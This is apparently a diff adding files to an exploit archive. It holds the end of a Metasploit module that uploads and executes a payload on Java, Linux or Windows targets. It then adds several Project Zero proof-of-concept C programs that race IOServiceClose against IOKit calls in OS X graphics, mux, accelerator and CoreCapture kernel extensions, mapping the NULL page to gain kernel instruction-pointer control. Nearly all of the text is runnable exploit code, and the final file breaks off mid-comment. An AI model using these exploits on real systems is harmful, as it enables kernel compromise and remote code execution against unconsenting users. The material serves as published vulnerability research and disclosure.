|
||||
rescue Msf::Exploit::Failed
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
if resp && resp.code == 200 && resp.body.include?("#{flag}#{sum}#{flag}")
|
||||
Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
payload_exe = rand_text_alphanumeric(4 + rand(4))
|
||||
case target['Platform']
|
||||
when 'java'
|
||||
payload_exe = "#{temp_path}#{payload_exe}.jar"
|
||||
pl_exe = payload.encoded_jar.pack
|
||||
command = "java -jar #{payload_exe}"
|
||||
when 'linux'
|
||||
path = datastore['TMPPATH'] || '/tmp/'
|
||||
pl_exe = generate_payload_exe
|
||||
payload_exe = "#{path}#{payload_exe}"
|
||||
command = "/bin/sh -c #{payload_exe}"
|
||||
when 'win'
|
||||
path = temp_path || '.\\'
|
||||
pl_exe = generate_payload_exe
|
||||
payload_exe = "#{path}#{payload_exe}.exe"
|
||||
command = "cmd.exe /c #{payload_exe}"
|
||||
else
|
||||
fail_with(Failure::NoTarget, 'Unsupported target platform!')
|
||||
end
|
||||
|
||||
pl_content = pl_exe.unpack('H*').join()
|
||||
|
||||
print_status("Uploading exploit to #{payload_exe}, and executing it.")
|
||||
upload_exec(command, payload_exe, pl_content)
|
||||
|
||||
handler
|
||||
end
|
||||
|
||||
end
|
182
platforms/osx/dos/39920.c
Executable file
182
platforms/osx/dos/39920.c
Executable file
|
@ -0,0 +1,182 @@
|
|||
/*
|
||||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=784
|
||||
|
||||
The method nvCommandQueue::GetHandleIndex doesn't check whether this+0x5b8 is non-null before using it.
|
||||
|
||||
We can race a call to this method this with another thread calling IOServiceClose to get a NULL pointer there.
|
||||
|
||||
By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.
|
||||
|
||||
tested on OS X 10.11.4 (15E65) MacBookPro 10,1
|
||||
*/
|
||||
|
||||
// ianbeer
|
||||
|
||||
// clang -o nv_command_queue_race nv_command_queue_race.c -framework IOKit -m32 -lpthread -pagezero_size 0x0
|
||||
|
||||
/*
|
||||
OS X exploitable kernel NULL pointer dereference in nvCommandQueue::GetHandleIndex in GeForce.kext
|
||||
|
||||
The method nvCommandQueue::GetHandleIndex doesn't check whether this+0x5b8 is non-null before using it.
|
||||
|
||||
We can race a call to this method this with another thread calling IOServiceClose to get a NULL pointer there.
|
||||
|
||||
By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.
|
||||
|
||||
tested on OS X 10.11.4 (15E65) MacBookPro 10,1
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <IOKit/IOKitLib.h>
|
||||
|
||||
#include <libkern/OSAtomic.h>
|
||||
|
||||
#include <mach/thread_act.h>
|
||||
|
||||
#include <pthread.h>
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <mach/vm_map.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
unsigned int selector = 0;
|
||||
|
||||
uint64_t inputScalar[16];
|
||||
size_t inputScalarCnt = 0;
|
||||
|
||||
uint8_t inputStruct[40960];
|
||||
size_t inputStructCnt = 0;
|
||||
|
||||
uint64_t outputScalar[16] = {0};
|
||||
uint32_t outputScalarCnt = 0;
|
||||
|
||||
char outputStruct[40960] = {0};
|
||||
size_t outputStructCnt = 0;
|
||||
|
||||
io_connect_t global_conn = MACH_PORT_NULL;
|
||||
|
||||
void set_params(io_connect_t conn){
|
||||
global_conn = conn;
|
||||
selector = 0x100; // GetHandleData
|
||||
inputScalarCnt = 0;
|
||||
inputStructCnt = 0;
|
||||
outputScalarCnt = 16;
|
||||
outputStructCnt = 4096;
|
||||
}
|
||||
|
||||
void make_iokit_call(){
|
||||
IOConnectCallMethod(
|
||||
global_conn,
|
||||
selector,
|
||||
inputScalar,
|
||||
inputScalarCnt,
|
||||
inputStruct,
|
||||
inputStructCnt,
|
||||
outputScalar,
|
||||
&outputScalarCnt,
|
||||
outputStruct,
|
||||
&outputStructCnt);
|
||||
}
|
||||
|
||||
OSSpinLock lock = OS_SPINLOCK_INIT;
|
||||
|
||||
void* thread_func(void* arg){
|
||||
int got_it = 0;
|
||||
while (!got_it) {
|
||||
got_it = OSSpinLockTry(&lock);
|
||||
}
|
||||
|
||||
// usleep(1);
|
||||
|
||||
make_iokit_call();
|
||||
OSSpinLockUnlock(&lock);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
mach_port_t get_user_client(char* name, int type) {
|
||||
kern_return_t err;
|
||||
|
||||
CFMutableDictionaryRef matching = IOServiceMatching(name);
|
||||
if(!matching){
|
||||
printf("unable to create service matching dictionary\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
io_iterator_t iterator;
|
||||
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("no matches\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
io_service_t service = IOIteratorNext(iterator);
|
||||
|
||||
if (service == IO_OBJECT_NULL){
|
||||
printf("unable to find service\n");
|
||||
return 0;
|
||||
}
|
||||
printf("got service: %x\n", service);
|
||||
|
||||
|
||||
io_connect_t conn = MACH_PORT_NULL;
|
||||
err = IOServiceOpen(service, mach_task_self(), type, &conn);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("unable to get user client connection\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
printf("got userclient connection: %x\n", conn);
|
||||
|
||||
return conn;
|
||||
}
|
||||
|
||||
void poc() {
|
||||
OSSpinLockLock(&lock);
|
||||
|
||||
pthread_t t;
|
||||
pthread_create(&t, NULL, thread_func, NULL);
|
||||
|
||||
|
||||
mach_port_t conn = get_user_client("nvAccelerator", 9); //nvCommandQueue
|
||||
|
||||
set_params(conn);
|
||||
OSSpinLockUnlock(&lock);
|
||||
IOServiceClose(conn);
|
||||
|
||||
pthread_join(t, NULL);
|
||||
}
|
||||
|
||||
int main(int argc, char** argv){
|
||||
kern_return_t err;
|
||||
// re map the null page rw
|
||||
int var = 0;
|
||||
err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("%x\n", err);
|
||||
}
|
||||
vm_address_t addr = 0;
|
||||
err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
|
||||
if (err != KERN_SUCCESS){
|
||||
if (err == KERN_INVALID_ADDRESS){
|
||||
printf("invalid address\n");
|
||||
}
|
||||
if (err == KERN_NO_SPACE){
|
||||
printf("no space\n");
|
||||
}
|
||||
printf("%x\n", err);
|
||||
}
|
||||
char* np = 0;
|
||||
for (int i = 0; i < 0x1000; i++){
|
||||
np[i] = '\x41';
|
||||
}
|
||||
|
||||
for (;;) {
|
||||
poc();
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
182
platforms/osx/dos/39922.c
Executable file
182
platforms/osx/dos/39922.c
Executable file
|
@ -0,0 +1,182 @@
|
|||
/*
|
||||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=783
|
||||
|
||||
The method AppleGraphicsControlClient::checkArguments does actually appear to test whether the pointer at this+0xd8 is non-null, but uses it anyway :)
|
||||
|
||||
We can race external methods which call this with another thread calling IOServiceClose to get a NULL pointer there.
|
||||
|
||||
By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.
|
||||
|
||||
tested on OS X 10.11.4 (15E65) MacBookPro 10,1
|
||||
*/
|
||||
|
||||
// ianbeer
|
||||
|
||||
// clang -o mux_control_race mux_control_race.c -framework IOKit -m32 -lpthread -pagezero_size 0x0
|
||||
|
||||
/*
|
||||
OS X exploitable kernel NULL pointer dereference in AppleMuxControl.kext
|
||||
|
||||
The method AppleGraphicsControlClient::checkArguments does actually appear to test whether the pointer at this+0xd8 is non-null, but uses it anyway :)
|
||||
|
||||
We can race external methods which call this with another thread calling IOServiceClose to get a NULL pointer there.
|
||||
|
||||
By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.
|
||||
|
||||
tested on OS X 10.11.4 (15E65) MacBookPro 10,1
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <IOKit/IOKitLib.h>
|
||||
|
||||
#include <libkern/OSAtomic.h>
|
||||
|
||||
#include <mach/thread_act.h>
|
||||
|
||||
#include <pthread.h>
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <mach/vm_map.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
unsigned int selector = 0;
|
||||
|
||||
uint64_t inputScalar[16];
|
||||
size_t inputScalarCnt = 0;
|
||||
|
||||
uint8_t inputStruct[40960];
|
||||
size_t inputStructCnt = 0;
|
||||
|
||||
uint64_t outputScalar[16] = {0};
|
||||
uint32_t outputScalarCnt = 0;
|
||||
|
||||
char outputStruct[40960] = {0};
|
||||
size_t outputStructCnt = 0;
|
||||
|
||||
io_connect_t global_conn = MACH_PORT_NULL;
|
||||
|
||||
void set_params(io_connect_t conn){
|
||||
global_conn = conn;
|
||||
selector = 9; // getAGCData
|
||||
inputScalarCnt = 0;
|
||||
inputStructCnt = 0;
|
||||
outputScalarCnt = 16;
|
||||
outputStructCnt = 4096;
|
||||
}
|
||||
|
||||
void make_iokit_call(){
|
||||
IOConnectCallMethod(
|
||||
global_conn,
|
||||
selector,
|
||||
inputScalar,
|
||||
inputScalarCnt,
|
||||
inputStruct,
|
||||
inputStructCnt,
|
||||
outputScalar,
|
||||
&outputScalarCnt,
|
||||
outputStruct,
|
||||
&outputStructCnt);
|
||||
}
|
||||
|
||||
OSSpinLock lock = OS_SPINLOCK_INIT;
|
||||
|
||||
void* thread_func(void* arg){
|
||||
int got_it = 0;
|
||||
while (!got_it) {
|
||||
got_it = OSSpinLockTry(&lock);
|
||||
}
|
||||
|
||||
// usleep(1);
|
||||
|
||||
make_iokit_call();
|
||||
OSSpinLockUnlock(&lock);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
mach_port_t get_user_client(char* name, int type) {
|
||||
kern_return_t err;
|
||||
|
||||
CFMutableDictionaryRef matching = IOServiceMatching(name);
|
||||
if(!matching){
|
||||
printf("unable to create service matching dictionary\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
io_iterator_t iterator;
|
||||
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("no matches\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
io_service_t service = IOIteratorNext(iterator);
|
||||
|
||||
if (service == IO_OBJECT_NULL){
|
||||
printf("unable to find service\n");
|
||||
return 0;
|
||||
}
|
||||
printf("got service: %x\n", service);
|
||||
|
||||
|
||||
io_connect_t conn = MACH_PORT_NULL;
|
||||
err = IOServiceOpen(service, mach_task_self(), type, &conn);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("unable to get user client connection\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
printf("got userclient connection: %x\n", conn);
|
||||
|
||||
return conn;
|
||||
}
|
||||
|
||||
void poc() {
|
||||
OSSpinLockLock(&lock);
|
||||
|
||||
pthread_t t;
|
||||
pthread_create(&t, NULL, thread_func, NULL);
|
||||
|
||||
|
||||
mach_port_t conn = get_user_client("AppleMuxControl", 0);
|
||||
|
||||
set_params(conn);
|
||||
OSSpinLockUnlock(&lock);
|
||||
IOServiceClose(conn);
|
||||
|
||||
pthread_join(t, NULL);
|
||||
}
|
||||
|
||||
int main(int argc, char** argv){
|
||||
kern_return_t err;
|
||||
// re map the null page rw
|
||||
int var = 0;
|
||||
err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("%x\n", err);
|
||||
}
|
||||
vm_address_t addr = 0;
|
||||
err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
|
||||
if (err != KERN_SUCCESS){
|
||||
if (err == KERN_INVALID_ADDRESS){
|
||||
printf("invalid address\n");
|
||||
}
|
||||
if (err == KERN_NO_SPACE){
|
||||
printf("no space\n");
|
||||
}
|
||||
printf("%x\n", err);
|
||||
}
|
||||
char* np = 0;
|
||||
for (int i = 0; i < 0x1000; i++){
|
||||
np[i] = '\x41';
|
||||
}
|
||||
|
||||
for (;;) {
|
||||
poc();
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
186
platforms/osx/dos/39923.c
Executable file
186
platforms/osx/dos/39923.c
Executable file
|
@ -0,0 +1,186 @@
|
|||
/*
|
||||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=782
|
||||
|
||||
AppleGraphicsDeviceControlClient doesn't check that its pointer to its IOService (at this+0xd8) is non-null before using it
|
||||
in all external methods.
|
||||
|
||||
We can set this pointer to NULL by racing two threads, one of which calls IOServiceClose which NULLs out the pointer and the
|
||||
other of which makes any external method call.
|
||||
|
||||
By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.
|
||||
|
||||
tested on OS X 10.11.4 (15E65) MacBookPro 10,1
|
||||
*/
|
||||
|
||||
// ianbeer
|
||||
|
||||
// clang -o graphicscontrol_race graphicscontrol_race.c -framework IOKit -m32 -lpthread -pagezero_size 0x0
|
||||
|
||||
/*
|
||||
OS X exploitable kernel NULL pointer dereference in AppleGraphicsDeviceControl
|
||||
|
||||
AppleGraphicsDeviceControlClient doesn't check that its pointer to its IOService (at this+0xd8) is non-null before using it
|
||||
in all external methods.
|
||||
|
||||
We can set this pointer to NULL by racing two threads, one of which calls IOServiceClose which NULLs out the pointer and the
|
||||
other of which makes any external method call.
|
||||
|
||||
By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.
|
||||
|
||||
tested on OS X 10.11.4 (15E65) MacBookPro 10,1
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <IOKit/IOKitLib.h>
|
||||
|
||||
#include <libkern/OSAtomic.h>
|
||||
|
||||
#include <mach/thread_act.h>
|
||||
|
||||
#include <pthread.h>
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <mach/vm_map.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
unsigned int selector = 0;
|
||||
|
||||
uint64_t inputScalar[16];
|
||||
size_t inputScalarCnt = 0;
|
||||
|
||||
uint8_t inputStruct[40960];
|
||||
size_t inputStructCnt = 0;
|
||||
|
||||
uint64_t outputScalar[16] = {0};
|
||||
uint32_t outputScalarCnt = 0;
|
||||
|
||||
char outputStruct[40960] = {0};
|
||||
size_t outputStructCnt = 0;
|
||||
|
||||
io_connect_t global_conn = MACH_PORT_NULL;
|
||||
|
||||
void set_params(io_connect_t conn){
|
||||
global_conn = conn;
|
||||
selector = 0; /// anything :)
|
||||
inputScalarCnt = 0;
|
||||
inputStructCnt = 0;
|
||||
outputScalarCnt = 16;
|
||||
outputStructCnt = 4096;
|
||||
}
|
||||
|
||||
void make_iokit_call(){
|
||||
IOConnectCallMethod(
|
||||
global_conn,
|
||||
selector,
|
||||
inputScalar,
|
||||
inputScalarCnt,
|
||||
inputStruct,
|
||||
inputStructCnt,
|
||||
outputScalar,
|
||||
&outputScalarCnt,
|
||||
outputStruct,
|
||||
&outputStructCnt);
|
||||
}
|
||||
|
||||
OSSpinLock lock = OS_SPINLOCK_INIT;
|
||||
|
||||
void* thread_func(void* arg){
|
||||
int got_it = 0;
|
||||
while (!got_it) {
|
||||
got_it = OSSpinLockTry(&lock);
|
||||
}
|
||||
|
||||
// usleep(1);
|
||||
|
||||
make_iokit_call();
|
||||
OSSpinLockUnlock(&lock);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
mach_port_t get_user_client(char* name, int type) {
|
||||
kern_return_t err;
|
||||
|
||||
CFMutableDictionaryRef matching = IOServiceMatching(name);
|
||||
if(!matching){
|
||||
printf("unable to create service matching dictionary\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
io_iterator_t iterator;
|
||||
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("no matches\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
io_service_t service = IOIteratorNext(iterator);
|
||||
|
||||
if (service == IO_OBJECT_NULL){
|
||||
printf("unable to find service\n");
|
||||
return 0;
|
||||
}
|
||||
printf("got service: %x\n", service);
|
||||
|
||||
|
||||
io_connect_t conn = MACH_PORT_NULL;
|
||||
err = IOServiceOpen(service, mach_task_self(), type, &conn);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("unable to get user client connection\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
printf("got userclient connection: %x\n", conn);
|
||||
|
||||
return conn;
|
||||
}
|
||||
|
||||
void poc() {
|
||||
OSSpinLockLock(&lock);
|
||||
|
||||
pthread_t t;
|
||||
pthread_create(&t, NULL, thread_func, NULL);
|
||||
|
||||
|
||||
mach_port_t conn = get_user_client("NVDC", 0);
|
||||
|
||||
set_params(conn);
|
||||
OSSpinLockUnlock(&lock);
|
||||
IOServiceClose(conn);
|
||||
|
||||
pthread_join(t, NULL);
|
||||
}
|
||||
|
||||
int main(int argc, char** argv){
|
||||
kern_return_t err;
|
||||
// re map the null page rw
|
||||
int var = 0;
|
||||
err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("%x\n", err);
|
||||
}
|
||||
vm_address_t addr = 0;
|
||||
err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
|
||||
if (err != KERN_SUCCESS){
|
||||
if (err == KERN_INVALID_ADDRESS){
|
||||
printf("invalid address\n");
|
||||
}
|
||||
if (err == KERN_NO_SPACE){
|
||||
printf("no space\n");
|
||||
}
|
||||
printf("%x\n", err);
|
||||
}
|
||||
char* np = 0;
|
||||
for (int i = 0; i < 0x1000; i++){
|
||||
np[i] = '\x41';
|
||||
}
|
||||
|
||||
for (;;) {
|
||||
poc();
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
184
platforms/osx/dos/39924.c
Executable file
184
platforms/osx/dos/39924.c
Executable file
|
@ -0,0 +1,184 @@
|
|||
/*
|
||||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=778
|
||||
|
||||
IOAccelerator external method IOAccelSharedUserClient2::page_off_resource uses the pointer at this+0x100 without checking if it's NULL.
|
||||
A series of dereferences from this pointer lead to trivial RIP control.
|
||||
|
||||
We can race two threads, in one call the external method and in the other call IOServiceClose, which NULLs out the pointer at
|
||||
this+0x100.
|
||||
|
||||
By mapping the NULL page into userspace we can control the pointer read.
|
||||
|
||||
tested on OS X 10.11.4 (15E65) on MacBookAir 5,2
|
||||
*/
|
||||
|
||||
//ianbeer
|
||||
|
||||
//clang -o ioaccel_race ioaccel_race.c -framework IOKit -m32 -lpthread -pagezero_size 0x0
|
||||
|
||||
/*
|
||||
OS X exploitable kernel NULL dereference in IOAccelSharedUserClient2::page_off_resource
|
||||
|
||||
IOAccelerator external method IOAccelSharedUserClient2::page_off_resource uses the pointer at this+0x100 without checking if it's NULL.
|
||||
A series of dereferences from this pointer lead to trivial RIP control.
|
||||
|
||||
We can race two threads, in one call the external method and in the other call IOServiceClose, which NULLs out the pointer at
|
||||
this+0x100.
|
||||
|
||||
By mapping the NULL page into userspace we can control the pointer read.
|
||||
|
||||
tested on OS X 10.11.4 (15E65) on MacBookAir 5,2
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <IOKit/IOKitLib.h>
|
||||
|
||||
#include <libkern/OSAtomic.h>
|
||||
|
||||
#include <mach/thread_act.h>
|
||||
|
||||
#include <pthread.h>
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <mach/vm_map.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
unsigned int selector = 0;
|
||||
|
||||
uint64_t inputScalar[16];
|
||||
size_t inputScalarCnt = 0;
|
||||
|
||||
uint8_t inputStruct[40960];
|
||||
size_t inputStructCnt = 0;
|
||||
|
||||
uint64_t outputScalar[16] = {0};
|
||||
uint32_t outputScalarCnt = 0;
|
||||
|
||||
char outputStruct[40960] = {0};
|
||||
size_t outputStructCnt = 0;
|
||||
|
||||
io_connect_t global_conn = MACH_PORT_NULL;
|
||||
|
||||
void set_params(io_connect_t conn){
|
||||
global_conn = conn;
|
||||
selector = 2;
|
||||
inputScalarCnt = 0;
|
||||
inputStructCnt = 8;
|
||||
outputScalarCnt = 0;
|
||||
outputStructCnt = 0;
|
||||
}
|
||||
|
||||
void make_iokit_call(){
|
||||
IOConnectCallMethod(
|
||||
global_conn,
|
||||
selector,
|
||||
inputScalar,
|
||||
inputScalarCnt,
|
||||
inputStruct,
|
||||
inputStructCnt,
|
||||
outputScalar,
|
||||
&outputScalarCnt,
|
||||
outputStruct,
|
||||
&outputStructCnt);
|
||||
}
|
||||
|
||||
OSSpinLock lock = OS_SPINLOCK_INIT;
|
||||
|
||||
void* thread_func(void* arg){
|
||||
int got_it = 0;
|
||||
while (!got_it) {
|
||||
got_it = OSSpinLockTry(&lock);
|
||||
}
|
||||
|
||||
// usleep(1);
|
||||
|
||||
make_iokit_call();
|
||||
return NULL;
|
||||
}
|
||||
|
||||
mach_port_t get_user_client(char* name, int type) {
|
||||
kern_return_t err;
|
||||
|
||||
CFMutableDictionaryRef matching = IOServiceMatching(name);
|
||||
if(!matching){
|
||||
printf("unable to create service matching dictionary\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
io_iterator_t iterator;
|
||||
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("no matches\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
io_service_t service = IOIteratorNext(iterator);
|
||||
|
||||
if (service == IO_OBJECT_NULL){
|
||||
printf("unable to find service\n");
|
||||
return 0;
|
||||
}
|
||||
printf("got service: %x\n", service);
|
||||
|
||||
|
||||
io_connect_t conn = MACH_PORT_NULL;
|
||||
err = IOServiceOpen(service, mach_task_self(), type, &conn);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("unable to get user client connection\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
printf("got userclient connection: %x\n", conn);
|
||||
|
||||
return conn;
|
||||
}
|
||||
|
||||
void poc(){
|
||||
OSSpinLockLock(&lock);
|
||||
|
||||
pthread_t t;
|
||||
pthread_create(&t, NULL, thread_func, NULL);
|
||||
|
||||
|
||||
mach_port_t conn = get_user_client("IntelAccelerator", 6);
|
||||
|
||||
set_params(conn);
|
||||
OSSpinLockUnlock(&lock);
|
||||
IOServiceClose(conn);
|
||||
pthread_join(t, NULL);
|
||||
}
|
||||
|
||||
int main(int argc, char** argv){
|
||||
kern_return_t err;
|
||||
// re map the null page rw
|
||||
int var = 0;
|
||||
err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("%x\n", err);
|
||||
}
|
||||
vm_address_t addr = 0;
|
||||
err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
|
||||
if (err != KERN_SUCCESS){
|
||||
if (err == KERN_INVALID_ADDRESS){
|
||||
printf("invalid address\n");
|
||||
}
|
||||
if (err == KERN_NO_SPACE){
|
||||
printf("no space\n");
|
||||
}
|
||||
printf("%x\n", err);
|
||||
}
|
||||
char* np = 0;
|
||||
for (int i = 0; i < 0x1000; i++){
|
||||
np[i] = '\x41';
|
||||
}
|
||||
|
||||
for(;;) {
|
||||
poc();
|
||||
}
|
||||
return 0;
|
||||
|
||||
}
|
172
platforms/osx/dos/39925.c
Executable file
172
platforms/osx/dos/39925.c
Executable file
|
@ -0,0 +1,172 @@
|
|||
/*
|
||||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=777
|
||||
|
||||
Pretty much all the external methods of CoreCaptureUserClient call CoreCaptureUserClient::stashGet passing an attacker controlled key.
|
||||
|
||||
If that key isn't in the list of stashed objects then stashGet returns a NULL pointer. No callers actually check
|
||||
the return value though which leads immediately to a call to a virtual method on a NULL pointer. By mapping the NULL
|
||||
page we can get trivial RIP control.
|
||||
|
||||
Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2
|
||||
*/
|
||||
|
||||
// ianbeer
|
||||
|
||||
//clang -o CoreCaptureNull CoreCaptureNull.c -framework IOKit -m32 -lpthread -pagezero_size 0x0
|
||||
|
||||
/*
|
||||
OS X exploitable kernel NULL dereference in CoreCaptureResponder due to unchecked return value
|
||||
|
||||
Pretty much all the external methods of CoreCaptureUserClient call CoreCaptureUserClient::stashGet passing an attacker controlled key.
|
||||
|
||||
If that key isn't in the list of stashed objects then stashGet returns a NULL pointer. No callers actually check
|
||||
the return value though which leads immediately to a call to a virtual method on a NULL pointer. By mapping the NULL
|
||||
page we can get trivial RIP control.
|
||||
|
||||
Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2
|
||||
*/
|
||||
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <IOKit/IOKitLib.h>
|
||||
|
||||
#include <libkern/OSAtomic.h>
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <mach/vm_map.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
unsigned int selector = 0;
|
||||
|
||||
uint64_t inputScalar[16];
|
||||
size_t inputScalarCnt = 0;
|
||||
|
||||
uint8_t inputStruct[40960];
|
||||
size_t inputStructCnt = 0;
|
||||
|
||||
uint64_t outputScalar[16] = {0};
|
||||
uint32_t outputScalarCnt = 0;
|
||||
|
||||
char outputStruct[40960] = {0};
|
||||
size_t outputStructCnt = 0;
|
||||
|
||||
io_connect_t global_conn = MACH_PORT_NULL;
|
||||
|
||||
void set_params(io_connect_t conn){
|
||||
global_conn = conn;
|
||||
selector = 0;
|
||||
inputScalarCnt = 4;
|
||||
inputStructCnt = 0;
|
||||
outputScalarCnt = 16;
|
||||
outputStructCnt = 40960;
|
||||
}
|
||||
|
||||
void make_iokit_call(){
|
||||
IOConnectCallMethod(
|
||||
global_conn,
|
||||
selector,
|
||||
inputScalar,
|
||||
inputScalarCnt,
|
||||
inputStruct,
|
||||
inputStructCnt,
|
||||
outputScalar,
|
||||
&outputScalarCnt,
|
||||
outputStruct,
|
||||
&outputStructCnt);
|
||||
}
|
||||
|
||||
OSSpinLock lock = OS_SPINLOCK_INIT;
|
||||
|
||||
void* thread_func(void* arg){
|
||||
int got_it = 0;
|
||||
while (!got_it) {
|
||||
got_it = OSSpinLockTry(&lock);
|
||||
}
|
||||
|
||||
// usleep(1);
|
||||
|
||||
make_iokit_call();
|
||||
return NULL;
|
||||
}
|
||||
|
||||
mach_port_t get_user_client(char* name, int type) {
|
||||
kern_return_t err;
|
||||
|
||||
CFMutableDictionaryRef matching = IOServiceMatching(name);
|
||||
if(!matching){
|
||||
printf("unable to create service matching dictionary\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
io_iterator_t iterator;
|
||||
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("no matches\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
io_service_t service = IOIteratorNext(iterator);
|
||||
|
||||
if (service == IO_OBJECT_NULL){
|
||||
printf("unable to find service\n");
|
||||
return 0;
|
||||
}
|
||||
printf("got service: %x\n", service);
|
||||
|
||||
|
||||
io_connect_t conn = MACH_PORT_NULL;
|
||||
err = IOServiceOpen(service, mach_task_self(), type, &conn);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("unable to get user client connection\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
printf("got userclient connection: %x\n", conn);
|
||||
|
||||
return conn;
|
||||
}
|
||||
|
||||
int main(int argc, char** argv){
|
||||
kern_return_t err;
|
||||
// re map the null page rw
|
||||
int var = 0;
|
||||
err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("%x\n", err);
|
||||
}
|
||||
vm_address_t addr = 0;
|
||||
err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
|
||||
if (err != KERN_SUCCESS){
|
||||
if (err == KERN_INVALID_ADDRESS){
|
||||
printf("invalid address\n");
|
||||
}
|
||||
if (err == KERN_NO_SPACE){
|
||||
printf("no space\n");
|
||||
}
|
||||
printf("%x\n", err);
|
||||
}
|
||||
char* np = 0;
|
||||
for (int i = 0; i < 0x1000; i++){
|
||||
np[i] = '\xff';
|
||||
}
|
||||
|
||||
*((uint64_t*)0x28) = 0xffffff4141414141;
|
||||
|
||||
|
||||
OSSpinLockLock(&lock);
|
||||
|
||||
pthread_t t;
|
||||
pthread_create(&t, NULL, thread_func, NULL);
|
||||
|
||||
|
||||
mach_port_t conn = get_user_client("IOAudioEngine", 0);
|
||||
|
||||
set_params(conn);
|
||||
OSSpinLockUnlock(&lock);
|
||||
IOServiceClose(conn);
|
||||
|
||||
}
|
249
platforms/osx/dos/39926.c
Executable file
249
platforms/osx/dos/39926.c
Executable file
|
@ -0,0 +1,249 @@
|
|||
/*
|
||||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=776
|
||||
|
||||
IOAudioEngineUserClient::closeClient sets the audioEngine member pointer to NULL
|
||||
|
||||
